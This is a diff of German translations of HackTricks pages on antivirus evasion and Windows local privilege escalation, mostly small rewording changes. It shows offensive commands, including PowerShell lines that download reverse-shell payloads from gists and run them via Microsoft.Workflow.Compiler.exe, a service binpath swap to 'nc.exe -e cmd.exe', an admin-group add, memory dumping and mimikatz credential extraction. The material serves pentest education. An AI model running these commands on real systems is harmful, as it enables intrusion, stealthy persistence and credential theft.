- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz ist ein x64-Binär-Obfuscator, der in der Lage ist, verschiedene PE-Dateien zu obfuskieren, einschließlich: .exe, .dll, .sys
- [**metame**](https://github.com/a0rtega/metame): Metame ist eine einfache metamorphe Code-Engine für beliebige ausführbare Dateien.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ist ein feinkörniges Code-Obfuskations-Framework für LLVM-unterstützte Sprachen, das ROP (Return-Oriented Programming) verwendet. ROPfuscator obfuskiert ein Programm auf der Ebene des Assemblercodes, indem reguläre Anweisungen in ROP-Ketten umgewandelt werden, was unser natürliches Verständnis des normalen Kontrollflusses untergräbt.
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator ist ein feinkörniges Code-Obfuskations-Framework für LLVM-unterstützte Sprachen unter Verwendung von ROP (return-oriented programming). ROPfuscator obfuskiert ein Programm auf der Ebene des Assemblercodes, indem reguläre Anweisungen in ROP-Ketten umgewandelt werden, was unser natürliches Verständnis des normalen Kontrollflusses untergräbt.
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt ist ein .NET PE Crypter, der in Nim geschrieben ist.
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor kann vorhandene EXE/DLL in Shellcode umwandeln und sie dann laden.
@ -214,7 +214,7 @@ Microsoft Defender SmartScreen ist ein Sicherheitsmechanismus, der dazu dient, d
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreen funktioniert hauptsächlich mit einem reputationsbasierten Ansatz, was bedeutet, dass ungewöhnlich heruntergeladene Anwendungen SmartScreen auslösen und den Endbenutzer daran hindern, die Datei auszuführen (obwohl die Datei weiterhin ausgeführt werden kann, indem man auf Weitere Informationen -> Trotzdem ausführen klickt).
SmartScreen funktioniert hauptsächlich mit einem reputationsbasierten Ansatz, was bedeutet, dass unüblich heruntergeladene Anwendungen SmartScreen auslösen und somit den Endbenutzer daran hindern, die Datei auszuführen (obwohl die Datei weiterhin ausgeführt werden kann, indem man auf Mehr Informationen -> Trotzdem ausführen klickt).
**MoTW** (Mark of The Web) ist ein [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) mit dem Namen Zone.Identifier, der automatisch beim Herunterladen von Dateien aus dem Internet erstellt wird, zusammen mit der URL, von der sie heruntergeladen wurden.
@ -296,17 +296,21 @@ Jede Umgebung, gegen die Sie vorgehen, hat ihre eigenen Stärken und Schwächen.
Ich empfehle Ihnen dringend, diesen Vortrag von [@ATTL4S](https://twitter.com/DaniLJ94) anzusehen, um einen Einblick in fortgeschrittene Umgehungstechniken zu erhalten.
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Dies ist auch ein weiterer großartiger Vortrag von [@mariuszbit](https://twitter.com/mariuszbit) über Umgehung in der Tiefe.
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
{{#ref}}
https://www.youtube.com/watch?v=IbA7Ung39o4
{{#endref}}
## **Alte Techniken**
### **Überprüfen, welche Teile Defender als schädlich erkennt**
Sie können [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) verwenden, das **Teile der Binärdatei entfernt**, bis es **herausfindet, welcher Teil von Defender** als schädlich erkannt wird und es Ihnen aufteilt.\
Sie können [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) verwenden, das **Teile der Binärdatei entfernt**, bis es **herausfindet, welcher Teil von Defender** als schädlich erkannt wird und es Ihnen mitteilt.\
Ein weiteres Tool, das **dasselbe tut, ist** [**avred**](https://github.com/dobin/avred) mit einem offenen Webangebot, das den Dienst in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) anbietet.
### **Telnet-Server**
@ -334,7 +338,7 @@ Laden Sie es herunter von: [http://www.uvnc.com/downloads/ultravnc.html](http://
- Setzen Sie ein Passwort in _VNC Password_
- Setzen Sie ein Passwort in _View-Only Password_
Verschieben Sie dann die Binärdatei _**winvnc.exe**_ und die **neu** erstellte Datei _**UltraVNC.ini**_ in die **Opfer**
Bewegen Sie dann die Binärdatei _**winvnc.exe**_ und die **neu** erstellte Datei _**UltraVNC.ini**_ in die **Opfer**
#### **Reverse-Verbindung**
@ -343,7 +347,7 @@ Der **Angreifer** sollte **innerhalb** seines **Hosts** die Binärdatei `vncview
**WARNUNG:** Um die Tarnung zu wahren, dürfen Sie einige Dinge nicht tun
- Starten Sie `winvnc` nicht, wenn es bereits läuft, oder Sie lösen ein [Popup](https://i.imgur.com/1SROTTl.png) aus. Überprüfen Sie, ob es läuft mit `tasklist | findstr winvnc`
- Starten Sie `winvnc` nicht ohne `UltraVNC.ini` im selben Verzeichnis, da dies [das Konfigurationsfenster](https://i.imgur.com/rfMQWcf.png) öffnet
- Starten Sie `winvnc` nicht ohne `UltraVNC.ini` im gleichen Verzeichnis, da dies [das Konfigurationsfenster](https://i.imgur.com/rfMQWcf.png) öffnet
- Führen Sie `winvnc -h` nicht zur Hilfe aus, oder Sie lösen ein [Popup](https://i.imgur.com/oc18wcu.png) aus
### GreatSCT
@ -471,9 +475,11 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```
{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}
{{#ref}}
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
C# Obfuskatorenliste: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
C# Obfuskatoren Liste: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -488,7 +494,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Verwendung von Python für den Bau von Injektoren Beispiel:
### Verwendung von Python für den Build-Injektor-Beispiel:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -521,5 +527,4 @@ https://github.com/praetorian-code/vulcan
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
{{#include ../banners/hacktricks-training.md}}

94
src/windows-hardening/windows-local-privilege-escalation/README.md
View File

@ -42,7 +42,7 @@ Es gibt verschiedene Dinge in Windows, die **verhindern könnten, dass Sie das S
### Versionsinformationen auflisten
Überprüfen Sie, ob die Windows-Version bekannte Schwachstellen aufweist (überprüfen Sie auch die angewendeten Patches).
Überprüfen Sie, ob die Windows-Version bekannte Sicherheitsanfälligkeiten aufweist (überprüfen Sie auch die angewendeten Patches).
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@ -85,7 +85,7 @@ set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
```
### PowerShell Verlauf
### PowerShell-Historie
```bash
ConsoleHost_history #Find the PATH where is saved
@ -110,9 +110,9 @@ dir C:\Transcripts
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
```
### PowerShell-Modulprotokollierung
### PowerShell Modulprotokollierung
Details zu PowerShell-Pipeline-Ausführungen werden aufgezeichnet, einschließlich ausgeführter Befehle, Befehlsaufrufe und Teile von Skripten. Es könnten jedoch nicht alle Ausführungsdetails und Ausgabeergebnisse erfasst werden.
Details zu PowerShell-Pipeline-Ausführungen werden aufgezeichnet, einschließlich ausgeführter Befehle, Befehlsaufrufe und Teile von Skripten. Allerdings könnten vollständige Ausführungsdetails und Ausgabeergebnisse nicht erfasst werden.
Um dies zu aktivieren, folgen Sie den Anweisungen im Abschnitt "Transkriptdateien" der Dokumentation und wählen Sie **"Modulprotokollierung"** anstelle von **"Powershell-Transkription"**.
```bash
@ -134,7 +134,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
Die Protokollereignisse für den Script Block können im Windows-Ereignisanzeiger unter dem Pfad: **Anwendungs- und Dienstprotokolle > Microsoft > Windows > PowerShell > Betrieb** gefunden werden.\
Die Protokollereignisse für das Script Block können im Windows-Ereignisanzeiger unter dem Pfad: **Anwendungs- und Dienstprotokolle > Microsoft > Windows > PowerShell > Betrieb** gefunden werden.\
Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -158,7 +158,7 @@ Sie beginnen damit, zu überprüfen, ob das Netzwerk ein nicht-SSL WSUS-Update v
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
Wenn Sie eine Antwort wie folgt erhalten:
Wenn Sie eine Antwort erhalten wie:
```bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
@ -175,12 +175,12 @@ Lesen Sie die Forschung hier:
**WSUS CVE-2020-1013**
[**Lesen Sie den vollständigen Bericht hier**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
[**Den vollständigen Bericht hier lesen**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
Im Grunde ist dies der Fehler, den dieser Bug ausnutzt:
> Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Updates den im Internet Explorer konfigurierten Proxy verwendet, haben wir daher die Möglichkeit, [PyWSUS](https://github.com/GoSecure/pywsus) lokal auszuführen, um unseren eigenen Verkehr abzufangen und Code als erhöhter Benutzer auf unserem Asset auszuführen.
>
> Darüber hinaus verwendet der WSUS-Dienst die Einstellungen des aktuellen Benutzers, daher wird auch dessen Zertifikatspeicher verwendet. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostnamen generieren und dieses Zertifikat in den Zertifikatspeicher des aktuellen Benutzers einfügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine Validierung des Zertifikats nach dem Prinzip "Vertrauen bei erster Nutzung" zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den richtigen Hostnamen hat, wird es vom Dienst akzeptiert.
> Darüber hinaus verwendet der WSUS-Dienst die Einstellungen des aktuellen Benutzers, daher wird auch dessen Zertifikatspeicher verwendet. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostnamen generieren und dieses Zertifikat in den Zertifikatspeicher des aktuellen Benutzers einfügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine Validierung des Zertifikats nach dem Prinzip "Vertrauen beim ersten Gebrauch" zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den richtigen Hostnamen hat, wird es vom Dienst akzeptiert.
Sie können diese Schwachstelle mit dem Tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) ausnutzen (sobald es freigegeben ist).
@ -194,7 +194,7 @@ Für weitere Informationen über den Ablauf des Angriffs überprüfen Sie [https
## AlwaysInstallElevated
**Wenn** diese 2 Registrierungen **aktiviert** sind (Wert ist **0x1**), können Benutzer mit beliebigen Rechten `*.msi`-Dateien als NT AUTHORITY\\**SYSTEM** **installieren** (ausführen).
**Wenn** diese 2 Registrierungen **aktiviert** sind (Wert ist **0x1**), können Benutzer mit beliebigen Berechtigungen `*.msi`-Dateien als NT AUTHORITY\\**SYSTEM** **installieren** (ausführen).
```bash
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
@ -216,7 +216,7 @@ Führen Sie einfach die erstellte Binärdatei aus, um die Berechtigungen zu erh
### MSI Wrapper
Lesen Sie dieses Tutorial, um zu lernen, wie Sie einen MSI-Wrapper mit diesen Tools erstellen. Beachten Sie, dass Sie eine "**.bat**"-Datei umschließen können, wenn Sie **nur** **Befehlszeilen** **ausführen** möchten.
Lesen Sie dieses Tutorial, um zu lernen, wie Sie einen MSI-Wrapper mit diesen Tools erstellen. Beachten Sie, dass Sie eine "**.bat**"-Datei einwickeln können, wenn Sie **nur** **Befehlszeilen** **ausführen** möchten.
{{#ref}}
msi-wrapper.md
@ -241,7 +241,7 @@ create-msi-with-wix.md
- Doppelklicken Sie auf **Anwendungsordner**, wählen Sie Ihre **beacon.exe**-Datei aus und klicken Sie auf **OK**. Dies stellt sicher, dass die Beacon-Payload ausgeführt wird, sobald der Installer gestartet wird.
- Ändern Sie unter den **Eigenschaften der benutzerdefinierten Aktion** **Run64Bit** in **True**.
- Schließlich **bauen** Sie es.
- Wenn die Warnung `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` angezeigt wird, stellen Sie sicher, dass Sie die Plattform auf x64 eingestellt haben.
- Wenn die Warnung `Datei 'beacon-tcp.exe', die auf 'x64' abzielt, ist nicht mit der Zielplattform des Projekts 'x86' kompatibel` angezeigt wird, stellen Sie sicher, dass Sie die Plattform auf x64 eingestellt haben.
### MSI-Installation
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** ist für die **Verwaltung von lokalen Administratorpasswörtern** konzipiert, wobei sichergestellt wird, dass jedes Passwort **einzigartig, zufällig und regelmäßig aktualisiert** wird auf Computern, die einer Domäne beigetreten sind. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, die über ausreichende Berechtigungen durch ACLs verfügen, die es ihnen ermöglichen, lokale Admin-Passwörter einzusehen, wenn sie autorisiert sind.
**LAPS** ist für die **Verwaltung von lokalen Administratorpasswörtern** konzipiert, wobei sichergestellt wird, dass jedes Passwort **einzigartig, randomisiert und regelmäßig aktualisiert** wird auf Computern, die einer Domäne beigetreten sind. Diese Passwörter werden sicher in Active Directory gespeichert und können nur von Benutzern abgerufen werden, die über ausreichende Berechtigungen durch ACLs verfügen, die es ihnen ermöglichen, lokale Admin-Passwörter einzusehen, wenn sie autorisiert sind.
{{#ref}}
../active-directory-methodology/laps.md
@ -282,7 +282,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
```
### LSA-Schutz
Beginnend mit **Windows 8.1** führte Microsoft einen verbesserten Schutz für die Local Security Authority (LSA) ein, um **Versuche** untrusted Prozesse zu **blockieren**, ihren Speicher **zu lesen** oder Code einzuschleusen, was das System weiter absichert.\
Beginnend mit **Windows 8.1** führte Microsoft einen verbesserten Schutz für die Local Security Authority (LSA) ein, um **Versuche** untrusted Prozesse zu **blockieren**, die **ihren Speicher** lesen oder Code injizieren, und damit das System weiter abzusichern.\
[**Weitere Informationen zum LSA-Schutz hier**](../stealing-credentials/credentials-protections.md#lsa-protection).
```bash
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
@ -356,7 +356,7 @@ powershell -command "Get-Clipboard"
```
## Ausgeführte Prozesse
### Datei- und Ordnerberechtigungen
### Datei- und Ordners Berechtigungen
Zuerst sollten Sie die Prozesse **auf Passwörter in der Befehlszeile des Prozesses überprüfen**.\
Überprüfen Sie, ob Sie **eine laufende Binärdatei überschreiben** können oder ob Sie Schreibberechtigungen für den Binärordner haben, um mögliche [**DLL Hijacking-Angriffe**](dll-hijacking/) auszunutzen:
@ -370,7 +370,7 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Überprüfen Sie immer, ob mögliche [**electron/cef/chromium-Debugger** ausgeführt werden, die Sie missbrauchen könnten, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
Überprüfen Sie immer, ob mögliche [**electron/cef/chromium-Debugger** laufen, die Sie missbrauchen könnten, um Privilegien zu eskalieren](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Überprüfen der Berechtigungen der Prozess-Binärdateien**
```bash
@ -389,17 +389,17 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone
todos %username%" && echo.
)
```
### Memory Password mining
### Speicher-Passwort-Mining
Sie können einen Speicherabbild eines laufenden Prozesses mit **procdump** von Sysinternals erstellen. Dienste wie FTP haben die **Anmeldeinformationen im Klartext im Speicher**, versuchen Sie, den Speicher abzuleiten und die Anmeldeinformationen zu lesen.
Sie können einen Speicherauszug eines laufenden Prozesses mit **procdump** von Sysinternals erstellen. Dienste wie FTP haben die **Anmeldeinformationen im Klartext im Speicher**, versuchen Sie, den Speicher auszulesen und die Anmeldeinformationen zu lesen.
```bash
procdump.exe -accepteula -ma <proc_name_tasklist>
```
### Unsichere GUI-Apps
**Anwendungen, die als SYSTEM ausgeführt werden, können es einem Benutzer ermöglichen, eine CMD zu starten oder Verzeichnisse zu durchsuchen.**
**Anwendungen, die als SYSTEM ausgeführt werden, können einem Benutzer erlauben, eine CMD zu starten oder Verzeichnisse zu durchsuchen.**
Beispiel: "Windows-Hilfe und Support" (Windows + F1), suchen Sie nach "Eingabeaufforderung", klicken Sie auf "Klicken Sie hier, um die Eingabeaufforderung zu öffnen"
Beispiel: "Windows-Hilfe und -Support" (Windows + F1), suchen Sie nach "Eingabeaufforderung", klicken Sie auf "Klicken Sie hier, um die Eingabeaufforderung zu öffnen"
## Dienste
@ -449,7 +449,7 @@ sc.exe config usosvc start= auto
```
### **Ändern des Dienst-Binärpfads**
In dem Szenario, in dem die Gruppe "Authentifizierte Benutzer" **SERVICE_ALL_ACCESS** für einen Dienst besitzt, ist die Modifikation der ausführbaren Binärdatei des Dienstes möglich. Um **sc** zu modifizieren und auszuführen:
In dem Szenario, in dem die Gruppe "Authentifizierte Benutzer" **SERVICE_ALL_ACCESS** für einen Dienst besitzt, ist die Modifikation der ausführbaren Binärdatei des Dienstes möglich. Um **sc** zu ändern und auszuführen:
```bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
@ -517,13 +517,13 @@ appenddata-addsubdirectory-permission-over-service-registry.md
Wenn der Pfad zu einer ausführbaren Datei nicht in Anführungszeichen steht, wird Windows versuchen, jede Endung vor einem Leerzeichen auszuführen.
Zum Beispiel wird Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ versuchen, auszuführen:
Zum Beispiel wird Windows für den Pfad _C:\Program Files\Some Folder\Service.exe_ versuchen, Folgendes auszuführen:
```powershell
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
```
Liste alle nicht zitierten Dienstpfade auf, die nicht zu integrierten Windows-Diensten gehören:
Liste alle nicht zitierten Dienstpfade auf, ausgenommen die, die zu integrierten Windows-Diensten gehören:
```powershell
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
@ -568,7 +568,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Überprüfen Sie, ob Sie eine Konfigurationsdatei ändern können, um eine spezielle Datei zu lesen, oder ob Sie eine Binärdatei ändern können, die von einem Administratorkonto (schedtasks) ausgeführt wird.
Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, besteht darin, Folgendes zu tun:
Eine Möglichkeit, schwache Ordner-/Dateiberechtigungen im System zu finden, besteht darin:
```bash
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
### Treiber
Suchen Sie nach möglichen **drittanbieter-ungewöhnlichen/anfälligen** Treibern.
Suchen Sie nach möglichen **drittanbieter-seltsamen/anfälligen** Treibern.
```bash
driverquery
driverquery.exe /fo table
@ -701,11 +701,11 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
### Anmeldeinformationsmanager / Windows-Tresor
Von [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Der Windows-Tresor speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, bei denen **Windows** die Benutzer **automatisch anmelden kann**. Auf den ersten Blick mag es so aussehen, als könnten Benutzer jetzt ihre Facebook-Anmeldeinformationen, Twitter-Anmeldeinformationen, Gmail-Anmeldeinformationen usw. speichern, damit sie sich automatisch über Browser anmelden. Aber das ist nicht der Fall.
Der Windows-Tresor speichert Benutzeranmeldeinformationen für Server, Websites und andere Programme, bei denen **Windows** die Benutzer **automatisch anmelden kann**. Auf den ersten Blick könnte es so aussehen, als könnten Benutzer jetzt ihre Facebook-Anmeldeinformationen, Twitter-Anmeldeinformationen, Gmail-Anmeldeinformationen usw. speichern, damit sie sich automatisch über Browser anmelden. Aber das ist nicht der Fall.
Der Windows-Tresor speichert Anmeldeinformationen, die Windows verwenden kann, um die Benutzer automatisch anzumelden, was bedeutet, dass jede **Windows-Anwendung, die Anmeldeinformationen benötigt, um auf eine Ressource** (Server oder Website) **zuzugreifen, diesen Anmeldeinformationsmanager** & Windows-Tresor nutzen und die bereitgestellten Anmeldeinformationen verwenden kann, anstatt dass die Benutzer ständig ihren Benutzernamen und ihr Passwort eingeben.
Es sei denn, die Anwendungen interagieren mit dem Anmeldeinformationsmanager, denke ich nicht, dass es ihnen möglich ist, die Anmeldeinformationen für eine bestimmte Ressource zu verwenden. Wenn Ihre Anwendung also den Tresor nutzen möchte, sollte sie irgendwie **mit dem Anmeldeinformationsmanager kommunizieren und die Anmeldeinformationen für diese Ressource** aus dem Standardspeichertresor anfordern.
Es sei denn, die Anwendungen interagieren mit dem Anmeldeinformationsmanager, denke ich nicht, dass es möglich ist, dass sie die Anmeldeinformationen für eine bestimmte Ressource verwenden. Wenn Ihre Anwendung also den Tresor nutzen möchte, sollte sie irgendwie **mit dem Anmeldeinformationsmanager kommunizieren und die Anmeldeinformationen für diese Ressource** aus dem Standardspeichertresor anfordern.
Verwenden Sie `cmdkey`, um die gespeicherten Anmeldeinformationen auf dem Computer aufzulisten.
```bash
@ -727,9 +727,9 @@ Beachten Sie, dass mimikatz, lazagne, [credentialfileview](https://www.nirsoft.n
### DPAPI
Die **Data Protection API (DPAPI)** bietet eine Methode zur symmetrischen Verschlüsselung von Daten, die hauptsächlich im Windows-Betriebssystem zur symmetrischen Verschlüsselung von asymmetrischen privaten Schlüsseln verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, um erheblich zur Entropie beizutragen.
Die **Data Protection API (DPAPI)** bietet eine Methode zur symmetrischen Verschlüsselung von Daten, die hauptsächlich im Windows-Betriebssystem zur symmetrischen Verschlüsselung asymmetrischer privater Schlüssel verwendet wird. Diese Verschlüsselung nutzt ein Benutzer- oder Systemgeheimnis, um erheblich zur Entropie beizutragen.
**DPAPI ermöglicht die Verschlüsselung von Schlüsseln durch einen symmetrischen Schlüssel, der aus den Anmeldegeheimnissen des Benutzers abgeleitet wird**. In Szenarien mit Systemverschlüsselung verwendet es die Authentifizierungsgeheimnisse des Systems.
**DPAPI ermöglicht die Verschlüsselung von Schlüsseln durch einen symmetrischen Schlüssel, der aus den Anmeldegeheimnissen des Benutzers abgeleitet wird**. In Szenarien mit Systemverschlüsselung verwendet es die Authentifizierungsgeheimnisse der Domäne des Systems.
Verschlüsselte Benutzer-RSA-Schlüssel, die mit DPAPI erstellt wurden, werden im Verzeichnis `%APPDATA%\Microsoft\Protect\{SID}` gespeichert, wobei `{SID}` den [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) des Benutzers darstellt. **Der DPAPI-Schlüssel, der zusammen mit dem Master-Schlüssel, der die privaten Schlüssel des Benutzers im selben Datei schützt, gespeichert ist**, besteht typischerweise aus 64 Bytes zufälliger Daten. (Es ist wichtig zu beachten, dass der Zugriff auf dieses Verzeichnis eingeschränkt ist, was das Auflisten seines Inhalts über den `dir`-Befehl in CMD verhindert, obwohl es über PowerShell aufgelistet werden kann).
```powershell
@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
Sie können das **mimikatz-Modul** `dpapi::cred` mit dem entsprechenden `/masterkey` verwenden, um zu entschlüsseln.\
Sie können **viele DPAPI** **Masterkeys** aus dem **Speicher** mit dem `sekurlsa::dpapi`-Modul extrahieren (wenn Sie Root sind).
Sie können **viele DPAPI** **Masterkeys** aus dem **Speicher** mit dem `sekurlsa::dpapi`-Modul extrahieren (wenn Sie root sind).
{{#ref}}
dpapi-extracting-passwords.md
@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
### PowerShell-Anmeldeinformationen
**PowerShell-Anmeldeinformationen** werden häufig für **Skripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen sind durch **DPAPI** geschützt, was normalerweise bedeutet, dass sie nur von demselben Benutzer auf demselben Computer entschlüsselt werden können, auf dem sie erstellt wurden.
**PowerShell-Anmeldeinformationen** werden häufig für **Scripting** und Automatisierungsaufgaben verwendet, um verschlüsselte Anmeldeinformationen bequem zu speichern. Die Anmeldeinformationen sind durch **DPAPI** geschützt, was normalerweise bedeutet, dass sie nur von demselben Benutzer auf demselben Computer entschlüsselt werden können, auf dem sie erstellt wurden.
Um eine PS-Anmeldeinformation aus der Datei, die sie enthält, zu **entschlüsseln**, können Sie Folgendes tun:
```powershell
@ -790,8 +790,8 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
Verwenden Sie das **Mimikatz** `dpapi::rdg` Modul mit dem entsprechenden `/masterkey`, um **alle .rdg-Dateien** zu **entschlüsseln**.\
Sie können **viele DPAPI-Masterkeys** aus dem Speicher mit dem Mimikatz `sekurlsa::dpapi` Modul **extrahieren**.
Verwenden Sie das **Mimikatz** `dpapi::rdg` Modul mit dem entsprechenden `/masterkey`, um **alle .rdg-Dateien zu entschlüsseln**\
Sie können **viele DPAPI-Masterkeys** aus dem Speicher mit dem Mimikatz `sekurlsa::dpapi` Modul extrahieren.
### Sticky Notes
@ -980,7 +980,7 @@ Suchen Sie nach einer Datei namens **SiteList.xml**
Eine Funktion war zuvor verfügbar, die die Bereitstellung von benutzerdefinierten lokalen Administratorkonten auf einer Gruppe von Maschinen über Gruppenrichtlinienpräferenzen (GPP) ermöglichte. Diese Methode hatte jedoch erhebliche Sicherheitsmängel. Erstens konnten die Gruppenrichtlinienobjekte (GPOs), die als XML-Dateien in SYSVOL gespeichert sind, von jedem Domänenbenutzer zugegriffen werden. Zweitens konnten die Passwörter innerhalb dieser GPPs, die mit AES256 unter Verwendung eines öffentlich dokumentierten Standard-Schlüssels verschlüsselt waren, von jedem authentifizierten Benutzer entschlüsselt werden. Dies stellte ein ernsthaftes Risiko dar, da es Benutzern ermöglichen konnte, erhöhte Berechtigungen zu erlangen.
Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien sucht, die ein nicht leeres "cpassword"-Feld enthalten. Bei Auffinden einer solchen Datei entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über die GPP und den Speicherort der Datei, was bei der Identifizierung und Behebung dieser Sicherheitsanfälligkeit hilft.
Um dieses Risiko zu mindern, wurde eine Funktion entwickelt, die nach lokal zwischengespeicherten GPP-Dateien sucht, die ein "cpassword"-Feld enthalten, das nicht leer ist. Bei Auffinden einer solchen Datei entschlüsselt die Funktion das Passwort und gibt ein benutzerdefiniertes PowerShell-Objekt zurück. Dieses Objekt enthält Details über die GPP und den Speicherort der Datei, was bei der Identifizierung und Behebung dieser Sicherheitsanfälligkeit hilft.
